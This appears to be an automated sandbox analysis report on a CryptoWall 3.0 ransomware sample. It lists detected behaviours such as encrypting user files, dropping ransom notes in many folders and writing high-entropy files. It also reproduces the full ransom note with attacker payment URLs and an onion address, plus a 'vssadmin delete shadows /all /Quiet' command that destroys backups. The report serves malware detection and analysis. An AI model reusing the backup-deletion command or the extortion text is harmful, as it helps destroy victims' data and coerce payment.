<a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt408.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html307.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html34.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html309.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html0.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa

May disable shadow drive data (uses vssadmin)

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet			Jump to behavior

May drop file containing decryption instructions (likely related to ransomware)

Source: 0t8amSU3vd.exe	Binary or memory string: RESTORE_FILES.TXT
Source: 0t8amSU3vd.exe	Binary or memory string: RESTORE_FILES.HTML
Source: 0t8amSU3vd.exe, 00000000.00000002.345355219.0000000000431000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: RESTORE_FILES.TXTopen\RESTORE_FILES.HTML
Source: 0t8amSU3vd.exe, 00000000.00000002.345370025.0000000000520000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: RESTORE_FILES.TXTopen\RESTORE_FILES.HTML
Source: svcmtr.exe	Binary or memory string: RESTORE_FILES.TXT
Source: svcmtr.exe	Binary or memory string: RESTORE_FILES.HTML
Source: svcmtr.exe, 00000002.00000003.406909089.0000000000708000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: restore_files_gpmus.html
Source: svcmtr.exe, 00000002.00000003.406909089.0000000000708000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: restore_files_gpmus.html
Source: svcmtr.exe, 00000002.00000003.406909089.0000000000708000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: restore_files_gpmus.html
Source: svcmtr.exe, 00000002.00000003.406909089.0000000000708000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: restore_files_gpmus.html
Source: svcmtr.exe, 00000002.00000003.406909089.0000000000708000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: restore_files_gpmus.html
Source: svcmtr.exe, 00000002.00000002.875409973.0000000000240000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: RESTORE_FILES.TXTopen\RESTORE_FILES.HTML
Source: svcmtr.exe, 00000002.00000003.516398200.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: restore_files_gpmus.html
Source: svcmtr.exe, 00000002.00000003.516398200.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: restore_files_gpmus.html
Source: svcmtr.exe, 00000002.00000003.516398200.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: restore_files_gpmus.html
Source: svcmtr.exe, 00000002.00000003.516398200.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: restore_files_gpmus.html
Source: svcmtr.exe, 00000002.00000003.755279810.0000000000709000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: restore_files_gpmus.html
Source: svcmtr.exe, 00000002.00000003.755279810.0000000000709000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: restore_files_gpmus.html
Source: svcmtr.exe, 00000002.00000003.755279810.0000000000709000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: restore_files_gpmus.html
Source: svcmtr.exe, 00000002.00000003.755279810.0000000000709000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: restore_files_gpmus.html
Source: svcmtr.exe, 00000002.00000002.876106236.0000000002D87000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: restore_files_gpmus.txt

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Users\user\Desktop\FENIVHOIKN.docx	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Users\user\Desktop\CURQNKVOIX.xlsx	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Users\user\Desktop\RAYHIWGKDI\CURQNKVOIX.xlsx	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Users\user\Desktop\FENIVHOIKN.pdf	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Users\user\Desktop\CURQNKVOIX\SUAVTZKNFL.png	Jump to behavior

Moves / writes many txt or jpg files (may be a ransomware encrypting documents)

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Indexed Rules\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Users\user\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Users\user\AppData\Local\Microsoft\Windows\Burn\Burn\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.jpg	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0178523.JPG	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0382938.JPG	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH01931J.JPG	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File moved: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0382962.JPG	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File dropped: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\aa2de5f4-12f7-4e24-86b2-9ea3afd5e638\restore_files_gpmus.html -> decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server!!!.</font><br><br><b><font class="ttl">what do i do?</b></font> <br><font style="font-size:13px;">alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> if you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">for more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b" target="_blank">http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b" target="_blank">http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b</a></b><br><	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File dropped: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\aa2de5f4-12f7-4e24-86b2-9ea3afd5e638\restore_files_gpmus.txt -> decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.what do i do ?alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.if you really value your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.for more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:1.http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b2.http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b3. https://zpr5huq4bgmutfnf.onion.to/e722d94c1cac34bif for some reasons the addresses are not available, follow these steps:1. download and install tor-browser: http://www.torproject.org/projects/torbrowser.html.en 2. after a successful installation, run the browser and wait for initialization.3. type in the address bar: zpr5huq4bgmutfnf.onion	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File dropped: C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Indexed Rules\35\restore_files_gpmus.html -> decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server!!!.</font><br><br><b><font class="ttl">what do i do?</b></font> <br><font style="font-size:13px;">alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> if you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">for more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b" target="_blank">http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b" target="_blank">http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b</a></b><br><	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File dropped: C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Indexed Rules\35\restore_files_gpmus.txt -> decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.what do i do ?alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.if you really value your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.for more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:1.http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b2.http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b3. https://zpr5huq4bgmutfnf.onion.to/e722d94c1cac34bif for some reasons the addresses are not available, follow these steps:1. download and install tor-browser: http://www.torproject.org/projects/torbrowser.html.en 2. after a successful installation, run the browser and wait for initialization.3. type in the address bar: zpr5huq4bgmutfnf.onion	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File dropped: C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Indexed Rules\35\9.47.0\restore_files_gpmus.html -> decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server!!!.</font><br><br><b><font class="ttl">what do i do?</b></font> <br><font style="font-size:13px;">alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> if you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">for more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b" target="_blank">http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b" target="_blank">http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b</a></b><br><	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File dropped: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB\restore_files_gpmus.html -> decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server!!!.</font><br><br><b><font class="ttl">what do i do?</b></font> <br><font style="font-size:13px;">alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> if you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">for more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b" target="_blank">http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b" target="_blank">http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b</a></b><br><	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File dropped: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB\restore_files_gpmus.txt -> decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.what do i do ?alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.if you really value your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.for more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:1.http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b2.http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b3. https://zpr5huq4bgmutfnf.onion.to/e722d94c1cac34bif for some reasons the addresses are not available, follow these steps:1. download and install tor-browser: http://www.torproject.org/projects/torbrowser.html.en 2. after a successful installation, run the browser and wait for initialization.3. type in the address bar: zpr5huq4bgmutfnf.onion	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File dropped: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gdaefkejpgkiemlaofpalmlakkmbjdnl\restore_files_gpmus.txt -> decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.what do i do ?alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.if you really value your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.for more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:1.http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b2.http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b3. https://zpr5huq4bgmutfnf.onion.to/e722d94c1cac34bif for some reasons the addresses are not available, follow these steps:1. download and install tor-browser: http://www.torproject.org/projects/torbrowser.html.en 2. after a successful installation, run the browser and wait for initialization.3. type in the address bar: zpr5huq4bgmutfnf.onion	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File dropped: C:\$Recycle.Bin\S-1-5-21-966771315-3019405637-367336477-1001\restore_files_gpmus.txt -> decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.what do i do ?alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.if you really value your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.for more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:1.http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b2.http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b3. https://zpr5huq4bgmutfnf.onion.to/e722d94c1cac34bif for some reasons the addresses are not available, follow these steps:1. download and install tor-browser: http://www.torproject.org/projects/torbrowser.html.en 2. after a successful installation, run the browser and wait for initialization.3. type in the address bar: zpr5huq4bgmutfnf.onion	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File dropped: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\restore_files_gpmus.html -> decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server!!!.</font><br><br><b><font class="ttl">what do i do?</b></font> <br><font style="font-size:13px;">alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> if you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">for more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b" target="_blank">http://aep554w4fm8j.fflroe598qu.com/e722d94c1cac34b</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b" target="_blank">http://aoei243548ld.keedo93i1lo.com/e722d94c1cac34b</a></b><br><	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH01179J.JPG entropy: 7.99498755716	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0387895.JPG entropy: 7.9939746792	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0400001.PNG entropy: 7.99907789331	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0400002.PNG entropy: 7.99793205067	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0400003.PNG entropy: 7.99855482405	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0400004.PNG entropy: 7.99812244886	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0400005.PNG entropy: 7.99826779297	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH01046J.JPG entropy: 7.9986631482	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH02829J.JPG entropy: 7.99615524232	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH02810J.JPG entropy: 7.9960715748	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH01931J.JPG entropy: 7.99555950859	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH02053J.JPG entropy: 7.9933009054	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH02069J.JPG entropy: 7.99346154842	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH02567J.JPG entropy: 7.99398845138	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH02759J.JPG entropy: 7.99457692256	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH03041I.JPG entropy: 7.99335614851	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH03143I.JPG entropy: 7.99304092425	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH03205I.JPG entropy: 7.99584705514	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH03224I.JPG entropy: 7.99583914772	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH03425I.JPG entropy: 7.99637860205	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\MEDIA\CAGCAT10\J0315447.JPG entropy: 7.99187987277	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\MEDIA\CAGCAT10\J0284916.JPG entropy: 7.99141931749	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg entropy: 7.99978839619	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg entropy: 7.9996345211	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Koala.jpg entropy: 7.99976664486	Jump to dropped file
